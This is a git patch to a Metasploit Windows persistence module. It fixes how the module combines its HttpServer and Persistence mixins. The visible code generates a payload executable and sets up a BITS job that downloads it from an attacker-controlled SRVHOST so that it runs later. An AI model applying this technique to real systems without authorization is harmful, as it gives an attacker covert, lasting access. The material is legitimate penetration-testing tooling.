From 4a8adacf29c038afcbeac1951e8063525021ec63 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 9 Apr 2026 07:13:26 -0400 Subject: [PATCH] fix: fix bits persistence to be used with HttpServer --- modules/exploits/windows/persistence/bits.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/persistence/bits.rb b/modules/exploits/windows/persistence/bits.rb index b876a7212d313..1093d94b1067b 100644 --- a/modules/exploits/windows/persistence/bits.rb +++ b/modules/exploits/windows/persistence/bits.rb @@ -8,8 +8,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::File - include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck @@ -48,6 +48,7 @@ def initialize(info = {}) 'h00die', ], 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Automatic', {} ] @@ -187,10 +188,8 @@ def check Msf::Exploit::CheckCode::Vulnerable('Likely exploitable') end - # def install_persistence - def exploit + def install_persistence @pload = generate_payload_exe - install_persistence endpoint = Rex::Text.rand_text_alphanumeric(8..12) if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') @@ -240,6 +239,5 @@ def exploit print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.") @clean_up_rc << "bitsadmin /cancel \"#{id}\"\n" @clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute - @persistence_service.wait end end